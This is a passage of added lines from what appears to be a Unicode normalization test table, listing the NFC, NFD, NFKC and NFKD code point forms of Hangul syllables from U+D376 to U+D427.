+{ source: [0xD376], NFC: [0xD376], NFD: [0x1111, 0x1164, 0x11BD], NFKC: [0xD376], NFKD: [0x1111, 0x1164, 0x11BD] },
+{ source: [0xD377], NFC: [0xD377], NFD: [0x1111, 0x1164, 0x11BE], NFKC: [0xD377], NFKD: [0x1111, 0x1164, 0x11BE] },
+{ source: [0xD378], NFC: [0xD378], NFD: [0x1111, 0x1164, 0x11BF], NFKC: [0xD378], NFKD: [0x1111, 0x1164, 0x11BF] },
+{ source: [0xD379], NFC: [0xD379], NFD: [0x1111, 0x1164, 0x11C0], NFKC: [0xD379], NFKD: [0x1111, 0x1164, 0x11C0] },
+{ source: [0xD37A], NFC: [0xD37A], NFD: [0x1111, 0x1164, 0x11C1], NFKC: [0xD37A], NFKD: [0x1111, 0x1164, 0x11C1] },
+{ source: [0xD37B], NFC: [0xD37B], NFD: [0x1111, 0x1164, 0x11C2], NFKC: [0xD37B], NFKD: [0x1111, 0x1164, 0x11C2] },
+{ source: [0xD37C], NFC: [0xD37C], NFD: [0x1111, 0x1165], NFKC: [0xD37C], NFKD: [0x1111, 0x1165] },
+{ source: [0xD37D], NFC: [0xD37D], NFD: [0x1111, 0x1165, 0x11A8], NFKC: [0xD37D], NFKD: [0x1111, 0x1165, 0x11A8] },
+{ source: [0xD37E], NFC: [0xD37E], NFD: [0x1111, 0x1165, 0x11A9], NFKC: [0xD37E], NFKD: [0x1111, 0x1165, 0x11A9] },
+{ source: [0xD37F], NFC: [0xD37F], NFD: [0x1111, 0x1165, 0x11AA], NFKC: [0xD37F], NFKD: [0x1111, 0x1165, 0x11AA] },
+{ source: [0xD380], NFC: [0xD380], NFD: [0x1111, 0x1165, 0x11AB], NFKC: [0xD380], NFKD: [0x1111, 0x1165, 0x11AB] },
+{ source: [0xD381], NFC: [0xD381], NFD: [0x1111, 0x1165, 0x11AC], NFKC: [0xD381], NFKD: [0x1111, 0x1165, 0x11AC] },
+{ source: [0xD382], NFC: [0xD382], NFD: [0x1111, 0x1165, 0x11AD], NFKC: [0xD382], NFKD: [0x1111, 0x1165, 0x11AD] },
+{ source: [0xD383], NFC: [0xD383], NFD: [0x1111, 0x1165, 0x11AE], NFKC: [0xD383], NFKD: [0x1111, 0x1165, 0x11AE] },
+{ source: [0xD384], NFC: [0xD384], NFD: [0x1111, 0x1165, 0x11AF], NFKC: [0xD384], NFKD: [0x1111, 0x1165, 0x11AF] },
+{ source: [0xD385], NFC: [0xD385], NFD: [0x1111, 0x1165, 0x11B0], NFKC: [0xD385], NFKD: [0x1111, 0x1165, 0x11B0] },
+{ source: [0xD386], NFC: [0xD386], NFD: [0x1111, 0x1165, 0x11B1], NFKC: [0xD386], NFKD: [0x1111, 0x1165, 0x11B1] },
+{ source: [0xD387], NFC: [0xD387], NFD: [0x1111, 0x1165, 0x11B2], NFKC: [0xD387], NFKD: [0x1111, 0x1165, 0x11B2] },
+{ source: [0xD388], NFC: [0xD388], NFD: [0x1111, 0x1165, 0x11B3], NFKC: [0xD388], NFKD: [0x1111, 0x1165, 0x11B3] },
+{ source: [0xD389], NFC: [0xD389], NFD: [0x1111, 0x1165, 0x11B4], NFKC: [0xD389], NFKD: [0x1111, 0x1165, 0x11B4] },
+{ source: [0xD38A], NFC: [0xD38A], NFD: [0x1111, 0x1165, 0x11B5], NFKC: [0xD38A], NFKD: [0x1111, 0x1165, 0x11B5] },
+{ source: [0xD38B], NFC: [0xD38B], NFD: [0x1111, 0x1165, 0x11B6], NFKC: [0xD38B], NFKD: [0x1111, 0x1165, 0x11B6] },
+{ source: [0xD38C], NFC: [0xD38C], NFD: [0x1111, 0x1165, 0x11B7], NFKC: [0xD38C], NFKD: [0x1111, 0x1165, 0x11B7] },
+{ source: [0xD38D], NFC: [0xD38D], NFD: [0x1111, 0x1165, 0x11B8], NFKC: [0xD38D], NFKD: [0x1111, 0x1165, 0x11B8] },
+{ source: [0xD38E], NFC: [0xD38E], NFD: [0x1111, 0x1165, 0x11B9], NFKC: [0xD38E], NFKD: [0x1111, 0x1165, 0x11B9] },
+{ source: [0xD38F], NFC: [0xD38F], NFD: [0x1111, 0x1165, 0x11BA], NFKC: [0xD38F], NFKD: [0x1111, 0x1165, 0x11BA] },
+{ source: [0xD390], NFC: [0xD390], NFD: [0x1111, 0x1165, 0x11BB], NFKC: [0xD390], NFKD: [0x1111, 0x1165, 0x11BB] },
+{ source: [0xD391], NFC: [0xD391], NFD: [0x1111, 0x1165, 0x11BC], NFKC: [0xD391], NFKD: [0x1111, 0x1165, 0x11BC] },
+{ source: [0xD392], NFC: [0xD392], NFD: [0x1111, 0x1165, 0x11BD], NFKC: [0xD392], NFKD: [0x1111, 0x1165, 0x11BD] },
+{ source: [0xD393], NFC: [0xD393], NFD: [0x1111, 0x1165, 0x11BE], NFKC: [0xD393], NFKD: [0x1111, 0x1165, 0x11BE] },
+{ source: [0xD394], NFC: [0xD394], NFD: [0x1111, 0x1165, 0x11BF], NFKC: [0xD394], NFKD: [0x1111, 0x1165, 0x11BF] },
+{ source: [0xD395], NFC: [0xD395], NFD: [0x1111, 0x1165, 0x11C0], NFKC: [0xD395], NFKD: [0x1111, 0x1165, 0x11C0] },
+{ source: [0xD396], NFC: [0xD396], NFD: [0x1111, 0x1165, 0x11C1], NFKC: [0xD396], NFKD: [0x1111, 0x1165, 0x11C1] },
+{ source: [0xD397], NFC: [0xD397], NFD: [0x1111, 0x1165, 0x11C2], NFKC: [0xD397], NFKD: [0x1111, 0x1165, 0x11C2] },
+{ source: [0xD398], NFC: [0xD398], NFD: [0x1111, 0x1166], NFKC: [0xD398], NFKD: [0x1111, 0x1166] },
+{ source: [0xD399], NFC: [0xD399], NFD: [0x1111, 0x1166, 0x11A8], NFKC: [0xD399], NFKD: [0x1111, 0x1166, 0x11A8] },
+{ source: [0xD39A], NFC: [0xD39A], NFD: [0x1111, 0x1166, 0x11A9], NFKC: [0xD39A], NFKD: [0x1111, 0x1166, 0x11A9] },
+{ source: [0xD39B], NFC: [0xD39B], NFD: [0x1111, 0x1166, 0x11AA], NFKC: [0xD39B], NFKD: [0x1111, 0x1166, 0x11AA] },
+{ source: [0xD39C], NFC: [0xD39C], NFD: [0x1111, 0x1166, 0x11AB], NFKC: [0xD39C], NFKD: [0x1111, 0x1166, 0x11AB] },
+{ source: [0xD39D], NFC: [0xD39D], NFD: [0x1111, 0x1166, 0x11AC], NFKC: [0xD39D], NFKD: [0x1111, 0x1166, 0x11AC] },
+{ source: [0xD39E], NFC: [0xD39E], NFD: [0x1111, 0x1166, 0x11AD], NFKC: [0xD39E], NFKD: [0x1111, 0x1166, 0x11AD] },
+{ source: [0xD39F], NFC: [0xD39F], NFD: [0x1111, 0x1166, 0x11AE], NFKC: [0xD39F], NFKD: [0x1111, 0x1166, 0x11AE] },
+{ source: [0xD3A0], NFC: [0xD3A0], NFD: [0x1111, 0x1166, 0x11AF], NFKC: [0xD3A0], NFKD: [0x1111, 0x1166, 0x11AF] },
+{ source: [0xD3A1], NFC: [0xD3A1], NFD: [0x1111, 0x1166, 0x11B0], NFKC: [0xD3A1], NFKD: [0x1111, 0x1166, 0x11B0] },
+{ source: [0xD3A2], NFC: [0xD3A2], NFD: [0x1111, 0x1166, 0x11B1], NFKC: [0xD3A2], NFKD: [0x1111, 0x1166, 0x11B1] },
+{ source: [0xD3A3], NFC: [0xD3A3], NFD: [0x1111, 0x1166, 0x11B2], NFKC: [0xD3A3], NFKD: [0x1111, 0x1166, 0x11B2] },
+{ source: [0xD3A4], NFC: [0xD3A4], NFD: [0x1111, 0x1166, 0x11B3], NFKC: [0xD3A4], NFKD: [0x1111, 0x1166, 0x11B3] },
+{ source: [0xD3A5], NFC: [0xD3A5], NFD: [0x1111, 0x1166, 0x11B4], NFKC: [0xD3A5], NFKD: [0x1111, 0x1166, 0x11B4] },
+{ source: [0xD3A6], NFC: [0xD3A6], NFD: [0x1111, 0x1166, 0x11B5], NFKC: [0xD3A6], NFKD: [0x1111, 0x1166, 0x11B5] },
+{ source: [0xD3A7], NFC: [0xD3A7], NFD: [0x1111, 0x1166, 0x11B6], NFKC: [0xD3A7], NFKD: [0x1111, 0x1166, 0x11B6] },
+{ source: [0xD3A8], NFC: [0xD3A8], NFD: [0x1111, 0x1166, 0x11B7], NFKC: [0xD3A8], NFKD: [0x1111, 0x1166, 0x11B7] },
+{ source: [0xD3A9], NFC: [0xD3A9], NFD: [0x1111, 0x1166, 0x11B8], NFKC: [0xD3A9], NFKD: [0x1111, 0x1166, 0x11B8] },
+{ source: [0xD3AA], NFC: [0xD3AA], NFD: [0x1111, 0x1166, 0x11B9], NFKC: [0xD3AA], NFKD: [0x1111, 0x1166, 0x11B9] },
+{ source: [0xD3AB], NFC: [0xD3AB], NFD: [0x1111, 0x1166, 0x11BA], NFKC: [0xD3AB], NFKD: [0x1111, 0x1166, 0x11BA] },
+{ source: [0xD3AC], NFC: [0xD3AC], NFD: [0x1111, 0x1166, 0x11BB], NFKC: [0xD3AC], NFKD: [0x1111, 0x1166, 0x11BB] },
+{ source: [0xD3AD], NFC: [0xD3AD], NFD: [0x1111, 0x1166, 0x11BC], NFKC: [0xD3AD], NFKD: [0x1111, 0x1166, 0x11BC] },
+{ source: [0xD3AE], NFC: [0xD3AE], NFD: [0x1111, 0x1166, 0x11BD], NFKC: [0xD3AE], NFKD: [0x1111, 0x1166, 0x11BD] },
+{ source: [0xD3AF], NFC: [0xD3AF], NFD: [0x1111, 0x1166, 0x11BE], NFKC: [0xD3AF], NFKD: [0x1111, 0x1166, 0x11BE] },
+{ source: [0xD3B0], NFC: [0xD3B0], NFD: [0x1111, 0x1166, 0x11BF], NFKC: [0xD3B0], NFKD: [0x1111, 0x1166, 0x11BF] },
+{ source: [0xD3B1], NFC: [0xD3B1], NFD: [0x1111, 0x1166, 0x11C0], NFKC: [0xD3B1], NFKD: [0x1111, 0x1166, 0x11C0] },
+{ source: [0xD3B2], NFC: [0xD3B2], NFD: [0x1111, 0x1166, 0x11C1], NFKC: [0xD3B2], NFKD: [0x1111, 0x1166, 0x11C1] },
+{ source: [0xD3B3], NFC: [0xD3B3], NFD: [0x1111, 0x1166, 0x11C2], NFKC: [0xD3B3], NFKD: [0x1111, 0x1166, 0x11C2] },
+{ source: [0xD3B4], NFC: [0xD3B4], NFD: [0x1111, 0x1167], NFKC: [0xD3B4], NFKD: [0x1111, 0x1167] },
+{ source: [0xD3B5], NFC: [0xD3B5], NFD: [0x1111, 0x1167, 0x11A8], NFKC: [0xD3B5], NFKD: [0x1111, 0x1167, 0x11A8] },
+{ source: [0xD3B6], NFC: [0xD3B6], NFD: [0x1111, 0x1167, 0x11A9], NFKC: [0xD3B6], NFKD: [0x1111, 0x1167, 0x11A9] },
+{ source: [0xD3B7], NFC: [0xD3B7], NFD: [0x1111, 0x1167, 0x11AA], NFKC: [0xD3B7], NFKD: [0x1111, 0x1167, 0x11AA] },
+{ source: [0xD3B8], NFC: [0xD3B8], NFD: [0x1111, 0x1167, 0x11AB], NFKC: [0xD3B8], NFKD: [0x1111, 0x1167, 0x11AB] },
+{ source: [0xD3B9], NFC: [0xD3B9], NFD: [0x1111, 0x1167, 0x11AC], NFKC: [0xD3B9], NFKD: [0x1111, 0x1167, 0x11AC] },
+{ source: [0xD3BA], NFC: [0xD3BA], NFD: [0x1111, 0x1167, 0x11AD], NFKC: [0xD3BA], NFKD: [0x1111, 0x1167, 0x11AD] },
+{ source: [0xD3BB], NFC: [0xD3BB], NFD: [0x1111, 0x1167, 0x11AE], NFKC: [0xD3BB], NFKD: [0x1111, 0x1167, 0x11AE] },
+{ source: [0xD3BC], NFC: [0xD3BC], NFD: [0x1111, 0x1167, 0x11AF], NFKC: [0xD3BC], NFKD: [0x1111, 0x1167, 0x11AF] },
+{ source: [0xD3BD], NFC: [0xD3BD], NFD: [0x1111, 0x1167, 0x11B0], NFKC: [0xD3BD], NFKD: [0x1111, 0x1167, 0x11B0] },
+{ source: [0xD3BE], NFC: [0xD3BE], NFD: [0x1111, 0x1167, 0x11B1], NFKC: [0xD3BE], NFKD: [0x1111, 0x1167, 0x11B1] },
+{ source: [0xD3BF], NFC: [0xD3BF], NFD: [0x1111, 0x1167, 0x11B2], NFKC: [0xD3BF], NFKD: [0x1111, 0x1167, 0x11B2] },
+{ source: [0xD3C0], NFC: [0xD3C0], NFD: [0x1111, 0x1167, 0x11B3], NFKC: [0xD3C0], NFKD: [0x1111, 0x1167, 0x11B3] },
+{ source: [0xD3C1], NFC: [0xD3C1], NFD: [0x1111, 0x1167, 0x11B4], NFKC: [0xD3C1], NFKD: [0x1111, 0x1167, 0x11B4] },
+{ source: [0xD3C2], NFC: [0xD3C2], NFD: [0x1111, 0x1167, 0x11B5], NFKC: [0xD3C2], NFKD: [0x1111, 0x1167, 0x11B5] },
+{ source: [0xD3C3], NFC: [0xD3C3], NFD: [0x1111, 0x1167, 0x11B6], NFKC: [0xD3C3], NFKD: [0x1111, 0x1167, 0x11B6] },
+{ source: [0xD3C4], NFC: [0xD3C4], NFD: [0x1111, 0x1167, 0x11B7], NFKC: [0xD3C4], NFKD: [0x1111, 0x1167, 0x11B7] },
+{ source: [0xD3C5], NFC: [0xD3C5], NFD: [0x1111, 0x1167, 0x11B8], NFKC: [0xD3C5], NFKD: [0x1111, 0x1167, 0x11B8] },
+{ source: [0xD3C6], NFC: [0xD3C6], NFD: [0x1111, 0x1167, 0x11B9], NFKC: [0xD3C6], NFKD: [0x1111, 0x1167, 0x11B9] },
+{ source: [0xD3C7], NFC: [0xD3C7], NFD: [0x1111, 0x1167, 0x11BA], NFKC: [0xD3C7], NFKD: [0x1111, 0x1167, 0x11BA] },
+{ source: [0xD3C8], NFC: [0xD3C8], NFD: [0x1111, 0x1167, 0x11BB], NFKC: [0xD3C8], NFKD: [0x1111, 0x1167, 0x11BB] },
+{ source: [0xD3C9], NFC: [0xD3C9], NFD: [0x1111, 0x1167, 0x11BC], NFKC: [0xD3C9], NFKD: [0x1111, 0x1167, 0x11BC] },
+{ source: [0xD3CA], NFC: [0xD3CA], NFD: [0x1111, 0x1167, 0x11BD], NFKC: [0xD3CA], NFKD: [0x1111, 0x1167, 0x11BD] },
+{ source: [0xD3CB], NFC: [0xD3CB], NFD: [0x1111, 0x1167, 0x11BE], NFKC: [0xD3CB], NFKD: [0x1111, 0x1167, 0x11BE] },
+{ source: [0xD3CC], NFC: [0xD3CC], NFD: [0x1111, 0x1167, 0x11BF], NFKC: [0xD3CC], NFKD: [0x1111, 0x1167, 0x11BF] },
+{ source: [0xD3CD], NFC: [0xD3CD], NFD: [0x1111, 0x1167, 0x11C0], NFKC: [0xD3CD], NFKD: [0x1111, 0x1167, 0x11C0] },
+{ source: [0xD3CE], NFC: [0xD3CE], NFD: [0x1111, 0x1167, 0x11C1], NFKC: [0xD3CE], NFKD: [0x1111, 0x1167, 0x11C1] },
+{ source: [0xD3CF], NFC: [0xD3CF], NFD: [0x1111, 0x1167, 0x11C2], NFKC: [0xD3CF], NFKD: [0x1111, 0x1167, 0x11C2] },
+{ source: [0xD3D0], NFC: [0xD3D0], NFD: [0x1111, 0x1168], NFKC: [0xD3D0], NFKD: [0x1111, 0x1168] },
+{ source: [0xD3D1], NFC: [0xD3D1], NFD: [0x1111, 0x1168, 0x11A8], NFKC: [0xD3D1], NFKD: [0x1111, 0x1168, 0x11A8] },
+{ source: [0xD3D2], NFC: [0xD3D2], NFD: [0x1111, 0x1168, 0x11A9], NFKC: [0xD3D2], NFKD: [0x1111, 0x1168, 0x11A9] },
+{ source: [0xD3D3], NFC: [0xD3D3], NFD: [0x1111, 0x1168, 0x11AA], NFKC: [0xD3D3], NFKD: [0x1111, 0x1168, 0x11AA] },
+{ source: [0xD3D4], NFC: [0xD3D4], NFD: [0x1111, 0x1168, 0x11AB], NFKC: [0xD3D4], NFKD: [0x1111, 0x1168, 0x11AB] },
+{ source: [0xD3D5], NFC: [0xD3D5], NFD: [0x1111, 0x1168, 0x11AC], NFKC: [0xD3D5], NFKD: [0x1111, 0x1168, 0x11AC] },
+{ source: [0xD3D6], NFC: [0xD3D6], NFD: [0x1111, 0x1168, 0x11AD], NFKC: [0xD3D6], NFKD: [0x1111, 0x1168, 0x11AD] },
+{ source: [0xD3D7], NFC: [0xD3D7], NFD: [0x1111, 0x1168, 0x11AE], NFKC: [0xD3D7], NFKD: [0x1111, 0x1168, 0x11AE] },
+{ source: [0xD3D8], NFC: [0xD3D8], NFD: [0x1111, 0x1168, 0x11AF], NFKC: [0xD3D8], NFKD: [0x1111, 0x1168, 0x11AF] },
+{ source: [0xD3D9], NFC: [0xD3D9], NFD: [0x1111, 0x1168, 0x11B0], NFKC: [0xD3D9], NFKD: [0x1111, 0x1168, 0x11B0] },
+{ source: [0xD3DA], NFC: [0xD3DA], NFD: [0x1111, 0x1168, 0x11B1], NFKC: [0xD3DA], NFKD: [0x1111, 0x1168, 0x11B1] },
+{ source: [0xD3DB], NFC: [0xD3DB], NFD: [0x1111, 0x1168, 0x11B2], NFKC: [0xD3DB], NFKD: [0x1111, 0x1168, 0x11B2] },
+{ source: [0xD3DC], NFC: [0xD3DC], NFD: [0x1111, 0x1168, 0x11B3], NFKC: [0xD3DC], NFKD: [0x1111, 0x1168, 0x11B3] },
+{ source: [0xD3DD], NFC: [0xD3DD], NFD: [0x1111, 0x1168, 0x11B4], NFKC: [0xD3DD], NFKD: [0x1111, 0x1168, 0x11B4] },
+{ source: [0xD3DE], NFC: [0xD3DE], NFD: [0x1111, 0x1168, 0x11B5], NFKC: [0xD3DE], NFKD: [0x1111, 0x1168, 0x11B5] },
+{ source: [0xD3DF], NFC: [0xD3DF], NFD: [0x1111, 0x1168, 0x11B6], NFKC: [0xD3DF], NFKD: [0x1111, 0x1168, 0x11B6] },
+{ source: [0xD3E0], NFC: [0xD3E0], NFD: [0x1111, 0x1168, 0x11B7], NFKC: [0xD3E0], NFKD: [0x1111, 0x1168, 0x11B7] },
+{ source: [0xD3E1], NFC: [0xD3E1], NFD: [0x1111, 0x1168, 0x11B8], NFKC: [0xD3E1], NFKD: [0x1111, 0x1168, 0x11B8] },
+{ source: [0xD3E2], NFC: [0xD3E2], NFD: [0x1111, 0x1168, 0x11B9], NFKC: [0xD3E2], NFKD: [0x1111, 0x1168, 0x11B9] },
+{ source: [0xD3E3], NFC: [0xD3E3], NFD: [0x1111, 0x1168, 0x11BA], NFKC: [0xD3E3], NFKD: [0x1111, 0x1168, 0x11BA] },
+{ source: [0xD3E4], NFC: [0xD3E4], NFD: [0x1111, 0x1168, 0x11BB], NFKC: [0xD3E4], NFKD: [0x1111, 0x1168, 0x11BB] },
+{ source: [0xD3E5], NFC: [0xD3E5], NFD: [0x1111, 0x1168, 0x11BC], NFKC: [0xD3E5], NFKD: [0x1111, 0x1168, 0x11BC] },
+{ source: [0xD3E6], NFC: [0xD3E6], NFD: [0x1111, 0x1168, 0x11BD], NFKC: [0xD3E6], NFKD: [0x1111, 0x1168, 0x11BD] },
+{ source: [0xD3E7], NFC: [0xD3E7], NFD: [0x1111, 0x1168, 0x11BE], NFKC: [0xD3E7], NFKD: [0x1111, 0x1168, 0x11BE] },
+{ source: [0xD3E8], NFC: [0xD3E8], NFD: [0x1111, 0x1168, 0x11BF], NFKC: [0xD3E8], NFKD: [0x1111, 0x1168, 0x11BF] },
+{ source: [0xD3E9], NFC: [0xD3E9], NFD: [0x1111, 0x1168, 0x11C0], NFKC: [0xD3E9], NFKD: [0x1111, 0x1168, 0x11C0] },
+{ source: [0xD3EA], NFC: [0xD3EA], NFD: [0x1111, 0x1168, 0x11C1], NFKC: [0xD3EA], NFKD: [0x1111, 0x1168, 0x11C1] },
+{ source: [0xD3EB], NFC: [0xD3EB], NFD: [0x1111, 0x1168, 0x11C2], NFKC: [0xD3EB], NFKD: [0x1111, 0x1168, 0x11C2] },
+{ source: [0xD3EC], NFC: [0xD3EC], NFD: [0x1111, 0x1169], NFKC: [0xD3EC], NFKD: [0x1111, 0x1169] },
+{ source: [0xD3ED], NFC: [0xD3ED], NFD: [0x1111, 0x1169, 0x11A8], NFKC: [0xD3ED], NFKD: [0x1111, 0x1169, 0x11A8] },
+{ source: [0xD3EE], NFC: [0xD3EE], NFD: [0x1111, 0x1169, 0x11A9], NFKC: [0xD3EE], NFKD: [0x1111, 0x1169, 0x11A9] },
+{ source: [0xD3EF], NFC: [0xD3EF], NFD: [0x1111, 0x1169, 0x11AA], NFKC: [0xD3EF], NFKD: [0x1111, 0x1169, 0x11AA] },
+{ source: [0xD3F0], NFC: [0xD3F0], NFD: [0x1111, 0x1169, 0x11AB], NFKC: [0xD3F0], NFKD: [0x1111, 0x1169, 0x11AB] },
+{ source: [0xD3F1], NFC: [0xD3F1], NFD: [0x1111, 0x1169, 0x11AC], NFKC: [0xD3F1], NFKD: [0x1111, 0x1169, 0x11AC] },
+{ source: [0xD3F2], NFC: [0xD3F2], NFD: [0x1111, 0x1169, 0x11AD], NFKC: [0xD3F2], NFKD: [0x1111, 0x1169, 0x11AD] },
+{ source: [0xD3F3], NFC: [0xD3F3], NFD: [0x1111, 0x1169, 0x11AE], NFKC: [0xD3F3], NFKD: [0x1111, 0x1169, 0x11AE] },
+{ source: [0xD3F4], NFC: [0xD3F4], NFD: [0x1111, 0x1169, 0x11AF], NFKC: [0xD3F4], NFKD: [0x1111, 0x1169, 0x11AF] },
+{ source: [0xD3F5], NFC: [0xD3F5], NFD: [0x1111, 0x1169, 0x11B0], NFKC: [0xD3F5], NFKD: [0x1111, 0x1169, 0x11B0] },
+{ source: [0xD3F6], NFC: [0xD3F6], NFD: [0x1111, 0x1169, 0x11B1], NFKC: [0xD3F6], NFKD: [0x1111, 0x1169, 0x11B1] },
+{ source: [0xD3F7], NFC: [0xD3F7], NFD: [0x1111, 0x1169, 0x11B2], NFKC: [0xD3F7], NFKD: [0x1111, 0x1169, 0x11B2] },
+{ source: [0xD3F8], NFC: [0xD3F8], NFD: [0x1111, 0x1169, 0x11B3], NFKC: [0xD3F8], NFKD: [0x1111, 0x1169, 0x11B3] },
+{ source: [0xD3F9], NFC: [0xD3F9], NFD: [0x1111, 0x1169, 0x11B4], NFKC: [0xD3F9], NFKD: [0x1111, 0x1169, 0x11B4] },
+{ source: [0xD3FA], NFC: [0xD3FA], NFD: [0x1111, 0x1169, 0x11B5], NFKC: [0xD3FA], NFKD: [0x1111, 0x1169, 0x11B5] },
+{ source: [0xD3FB], NFC: [0xD3FB], NFD: [0x1111, 0x1169, 0x11B6], NFKC: [0xD3FB], NFKD: [0x1111, 0x1169, 0x11B6] },
+{ source: [0xD3FC], NFC: [0xD3FC], NFD: [0x1111, 0x1169, 0x11B7], NFKC: [0xD3FC], NFKD: [0x1111, 0x1169, 0x11B7] },
+{ source: [0xD3FD], NFC: [0xD3FD], NFD: [0x1111, 0x1169, 0x11B8], NFKC: [0xD3FD], NFKD: [0x1111, 0x1169, 0x11B8] },
+{ source: [0xD3FE], NFC: [0xD3FE], NFD: [0x1111, 0x1169, 0x11B9], NFKC: [0xD3FE], NFKD: [0x1111, 0x1169, 0x11B9] },
+{ source: [0xD3FF], NFC: [0xD3FF], NFD: [0x1111, 0x1169, 0x11BA], NFKC: [0xD3FF], NFKD: [0x1111, 0x1169, 0x11BA] },
+{ source: [0xD400], NFC: [0xD400], NFD: [0x1111, 0x1169, 0x11BB], NFKC: [0xD400], NFKD: [0x1111, 0x1169, 0x11BB] },
+{ source: [0xD401], NFC: [0xD401], NFD: [0x1111, 0x1169, 0x11BC], NFKC: [0xD401], NFKD: [0x1111, 0x1169, 0x11BC] },
+{ source: [0xD402], NFC: [0xD402], NFD: [0x1111, 0x1169, 0x11BD], NFKC: [0xD402], NFKD: [0x1111, 0x1169, 0x11BD] },
+{ source: [0xD403], NFC: [0xD403], NFD: [0x1111, 0x1169, 0x11BE], NFKC: [0xD403], NFKD: [0x1111, 0x1169, 0x11BE] },
+{ source: [0xD404], NFC: [0xD404], NFD: [0x1111, 0x1169, 0x11BF], NFKC: [0xD404], NFKD: [0x1111, 0x1169, 0x11BF] },
+{ source: [0xD405], NFC: [0xD405], NFD: [0x1111, 0x1169, 0x11C0], NFKC: [0xD405], NFKD: [0x1111, 0x1169, 0x11C0] },
+{ source: [0xD406], NFC: [0xD406], NFD: [0x1111, 0x1169, 0x11C1], NFKC: [0xD406], NFKD: [0x1111, 0x1169, 0x11C1] },
+{ source: [0xD407], NFC: [0xD407], NFD: [0x1111, 0x1169, 0x11C2], NFKC: [0xD407], NFKD: [0x1111, 0x1169, 0x11C2] },
+{ source: [0xD408], NFC: [0xD408], NFD: [0x1111, 0x116A], NFKC: [0xD408], NFKD: [0x1111, 0x116A] },
+{ source: [0xD409], NFC: [0xD409], NFD: [0x1111, 0x116A, 0x11A8], NFKC: [0xD409], NFKD: [0x1111, 0x116A, 0x11A8] },
+{ source: [0xD40A], NFC: [0xD40A], NFD: [0x1111, 0x116A, 0x11A9], NFKC: [0xD40A], NFKD: [0x1111, 0x116A, 0x11A9] },
+{ source: [0xD40B], NFC: [0xD40B], NFD: [0x1111, 0x116A, 0x11AA], NFKC: [0xD40B], NFKD: [0x1111, 0x116A, 0x11AA] },
+{ source: [0xD40C], NFC: [0xD40C], NFD: [0x1111, 0x116A, 0x11AB], NFKC: [0xD40C], NFKD: [0x1111, 0x116A, 0x11AB] },
+{ source: [0xD40D], NFC: [0xD40D], NFD: [0x1111, 0x116A, 0x11AC], NFKC: [0xD40D], NFKD: [0x1111, 0x116A, 0x11AC] },
+{ source: [0xD40E], NFC: [0xD40E], NFD: [0x1111, 0x116A, 0x11AD], NFKC: [0xD40E], NFKD: [0x1111, 0x116A, 0x11AD] },
+{ source: [0xD40F], NFC: [0xD40F], NFD: [0x1111, 0x116A, 0x11AE], NFKC: [0xD40F], NFKD: [0x1111, 0x116A, 0x11AE] },
+{ source: [0xD410], NFC: [0xD410], NFD: [0x1111, 0x116A, 0x11AF], NFKC: [0xD410], NFKD: [0x1111, 0x116A, 0x11AF] },
+{ source: [0xD411], NFC: [0xD411], NFD: [0x1111, 0x116A, 0x11B0], NFKC: [0xD411], NFKD: [0x1111, 0x116A, 0x11B0] },
+{ source: [0xD412], NFC: [0xD412], NFD: [0x1111, 0x116A, 0x11B1], NFKC: [0xD412], NFKD: [0x1111, 0x116A, 0x11B1] },
+{ source: [0xD413], NFC: [0xD413], NFD: [0x1111, 0x116A, 0x11B2], NFKC: [0xD413], NFKD: [0x1111, 0x116A, 0x11B2] },
+{ source: [0xD414], NFC: [0xD414], NFD: [0x1111, 0x116A, 0x11B3], NFKC: [0xD414], NFKD: [0x1111, 0x116A, 0x11B3] },
+{ source: [0xD415], NFC: [0xD415], NFD: [0x1111, 0x116A, 0x11B4], NFKC: [0xD415], NFKD: [0x1111, 0x116A, 0x11B4] },
+{ source: [0xD416], NFC: [0xD416], NFD: [0x1111, 0x116A, 0x11B5], NFKC: [0xD416], NFKD: [0x1111, 0x116A, 0x11B5] },
+{ source: [0xD417], NFC: [0xD417], NFD: [0x1111, 0x116A, 0x11B6], NFKC: [0xD417], NFKD: [0x1111, 0x116A, 0x11B6] },
+{ source: [0xD418], NFC: [0xD418], NFD: [0x1111, 0x116A, 0x11B7], NFKC: [0xD418], NFKD: [0x1111, 0x116A, 0x11B7] },
+{ source: [0xD419], NFC: [0xD419], NFD: [0x1111, 0x116A, 0x11B8], NFKC: [0xD419], NFKD: [0x1111, 0x116A, 0x11B8] },
+{ source: [0xD41A], NFC: [0xD41A], NFD: [0x1111, 0x116A, 0x11B9], NFKC: [0xD41A], NFKD: [0x1111, 0x116A, 0x11B9] },
+{ source: [0xD41B], NFC: [0xD41B], NFD: [0x1111, 0x116A, 0x11BA], NFKC: [0xD41B], NFKD: [0x1111, 0x116A, 0x11BA] },
+{ source: [0xD41C], NFC: [0xD41C], NFD: [0x1111, 0x116A, 0x11BB], NFKC: [0xD41C], NFKD: [0x1111, 0x116A, 0x11BB] },
+{ source: [0xD41D], NFC: [0xD41D], NFD: [0x1111, 0x116A, 0x11BC], NFKC: [0xD41D], NFKD: [0x1111, 0x116A, 0x11BC] },
+{ source: [0xD41E], NFC: [0xD41E], NFD: [0x1111, 0x116A, 0x11BD], NFKC: [0xD41E], NFKD: [0x1111, 0x116A, 0x11BD] },
+{ source: [0xD41F], NFC: [0xD41F], NFD: [0x1111, 0x116A, 0x11BE], NFKC: [0xD41F], NFKD: [0x1111, 0x116A, 0x11BE] },
+{ source: [0xD420], NFC: [0xD420], NFD: [0x1111, 0x116A, 0x11BF], NFKC: [0xD420], NFKD: [0x1111, 0x116A, 0x11BF] },
+{ source: [0xD421], NFC: [0xD421], NFD: [0x1111, 0x116A, 0x11C0], NFKC: [0xD421], NFKD: [0x1111, 0x116A, 0x11C0] },
+{ source: [0xD422], NFC: [0xD422], NFD: [0x1111, 0x116A, 0x11C1], NFKC: [0xD422], NFKD: [0x1111, 0x116A, 0x11C1] },
+{ source: [0xD423], NFC: [0xD423], NFD: [0x1111, 0x116A, 0x11C2], NFKC: [0xD423], NFKD: [0x1111, 0x116A, 0x11C2] },
+{ source: [0xD424], NFC: [0xD424], NFD: [0x1111, 0x116B], NFKC: [0xD424], NFKD: [0x1111, 0x116B] },
+{ source: [0xD425], NFC: [0xD425], NFD: [0x1111, 0x116B, 0x11A8], NFKC: [0xD425], NFKD: [0x1111, 0x116B, 0x11A8] },
+{ source: [0xD426], NFC: [0xD426], NFD: [0x1111, 0x116B, 0x11A9], NFKC: [0xD426], NFKD: [0x1111, 0x116B, 0x11A9] },
+{ source: [0xD427], NFC: [0xD427], NFD: [0x1111, 0x116B, 0x11AA], NFKC: [0xD427], NFKD: [0x1111, 0x116B, 0x11AA] },
